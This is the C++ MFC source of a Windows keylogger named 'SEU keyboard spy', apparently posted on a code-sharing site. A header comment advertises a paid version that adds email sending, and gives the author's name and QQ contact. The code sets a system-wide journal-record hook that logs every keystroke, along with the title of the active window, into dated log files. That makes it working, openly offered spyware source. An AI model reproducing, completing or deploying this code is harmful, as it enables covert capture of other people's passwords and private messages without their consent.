📄 seukbspydlg.cpp
字号:
/**************************************************
东南幽魂键盘间谍【正式版支持热键显示,邮件发送,中文记录,欢迎联系购买】
作者:楚茗
QQ:8794282
**************************************************/
#include "stdafx.h"
#include "SEUKBSpy.h"
#include "SEUKBSpyDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
HHOOK g_hHook = NULL; //全局钩子函数句柄
HWND g_hLastFocus = NULL; //活动窗体句柄
//int nScanValue[3]; //用来保存前N次被按键的nScan值,设置热键的时候需要
//键盘钩子函数
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
FILE* out;
SYSTEMTIME sysTm;
::GetLocalTime(&sysTm);
int m_nYear = sysTm.wYear;
int m_nMonth = sysTm.wMonth;
int m_nDay = sysTm.wDay;
char filename[100];//保存文件名
sprintf(filename,"SEU_%d_%d_%d.log",m_nYear,m_nMonth,m_nDay);
if(nCode<0)
return CallNextHookEx(g_hHook,nCode,wParam,lParam);
if(nCode==HC_ACTION)//HC_ACTION表明lParam指向一消息结构
{
EVENTMSG *pEvt=(EVENTMSG *)lParam;
if(pEvt->message==WM_KEYDOWN)//判断是否是击键消息
{
DWORD dwCount;
char svBuffer[256];
int vKey,nScan;
vKey=LOBYTE(pEvt->paramL); //虚拟码
nScan=HIBYTE(pEvt->paramL);//扫描码
nScan<<=16;
//检查当前窗口焦点是否改变
HWND hFocus=GetActiveWindow();
if(g_hLastFocus!=hFocus)
{//如果本次击键发生窗口同上次击键发生窗口不同则保存窗口标题到文件中
char svTitle[256];
int nCount;
nCount=GetWindowText(hFocus,svTitle,256);
if(nCount>0)
{
out=fopen(filename,"a+");
fprintf(out,"\r\n-----活动窗口[%s]-----\r\n",svTitle);
fclose(out);
}
g_hLastFocus=hFocus;
}
// Write out key
dwCount=GetKeyNameText(nScan,svBuffer,256);
if(dwCount)//如果所击键在虚拟键表之中
{
if(vKey==VK_SPACE)
{
svBuffer[0]=' ';
svBuffer[1]='\0';
dwCount=1;
}
if(dwCount==1)//如果是普通键则将其对应的ascii码存入文件
{
BYTE kbuf[256];
WORD ch;
int chcount;
GetKeyboardState(kbuf);
/* //如果按霞CTRL,则nScan为1900554.如果ALT->367000,Del->5439488.
//自定义热键CTRL+X
if ((nScanValue[1] == 1900544) && (vKey == 88))
{
//处理热键
}
*/
chcount=ToAscii(vKey,nScan,kbuf,&ch,0);
/*根据当前的扫描码和键盘信息,将一个虚拟键转换成ASCII字符*/
if(chcount>0)
{
out=fopen(filename,"a+");
fprintf(out,"%c",char(ch));
fclose(out);
}
}
else//如果是Ctrl、Alt之类则直接将其虚拟键名存入文件
{
/* nScanValue[0] = nScanValue[1];
nScanValue[1] = nScan;
//设置热键的时候需要*/
out=fopen(filename,"a+");
fprintf(out,"[%s]",svBuffer);
fclose(out);
if(vKey==VK_RETURN)//回车
{
out=fopen(filename,"a+");
fprintf(out,"\r\n");
fclose(out);
}
}
}
}
}
return CallNextHookEx(g_hHook,nCode,wParam,lParam);
}
/////////////////////////////////////////////////////////////////////////////
// CAboutDlg dialog used for App About
class CAboutDlg : public CDialog
{
public:
CAboutDlg();
// Dialog Data
//{{AFX_DATA(CAboutDlg)
enum { IDD = IDD_ABOUTBOX };
//}}AFX_DATA
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CAboutDlg)
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
//}}AFX_VIRTUAL
// Implementation
protected:
//{{AFX_MSG(CAboutDlg)
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
//{{AFX_DATA_INIT(CAboutDlg)
//}}AFX_DATA_INIT
}
void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CAboutDlg)
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
//{{AFX_MSG_MAP(CAboutDlg)
// No message handlers
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CSEUKBSpyDlg dialog
CSEUKBSpyDlg::CSEUKBSpyDlg(CWnd* pParent /*=NULL*/)
: CDialog(CSEUKBSpyDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CSEUKBSpyDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
void CSEUKBSpyDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CSEUKBSpyDlg)
// NOTE: the ClassWizard will add DDX and DDV calls here
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CSEUKBSpyDlg, CDialog)
//{{AFX_MSG_MAP(CSEUKBSpyDlg)
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_WM_DESTROY()
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CSEUKBSpyDlg message handlers
BOOL CSEUKBSpyDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// Add "About..." menu item to system menu.
// IDM_ABOUTBOX must be in the system command range.
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
ASSERT(IDM_ABOUTBOX < 0xF000);
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
CString strAboutMenu;
strAboutMenu.LoadString(IDS_ABOUTBOX);
if (!strAboutMenu.IsEmpty())
{
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
}
}
// Set the icon for this dialog. The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
// TODO: Add extra initialization here
return TRUE; // return TRUE unless you set the focus to a control
}
void CSEUKBSpyDlg::OnDestroy()
{
CDialog::OnDestroy();
if(g_hHook)
UnhookWindowsHookEx(g_hHook);
}
void CSEUKBSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if ((nID & 0xFFF0) == IDM_ABOUTBOX)
{
CAboutDlg dlgAbout;
dlgAbout.DoModal();
}
else
{
CDialog::OnSysCommand(nID, lParam);
}
}
// If you add a minimize button to your dialog, you will need the code below
// to draw the icon. For MFC applications using the document/view model,
// this is automatically done for you by the framework.
void CSEUKBSpyDlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this); // device context for painting
SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
// Center icon in client rectangle
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
// Draw the icon
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialog::OnPaint();
}
}
// The system calls this to obtain the cursor to display while the user drags
// the minimized window.
HCURSOR CSEUKBSpyDlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}
void CSEUKBSpyDlg::OnOK()
{
// TODO: Add extra validation here
g_hHook=SetWindowsHookEx(WH_JOURNALRECORD,KeyboardProc,GetModuleHandle(NULL),0);
}
void CSEUKBSpyDlg::OnCancel()
{
// TODO: Add extra cleanup here
if(g_hHook)
UnhookWindowsHookEx(g_hHook);
CDialog::OnCancel();
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -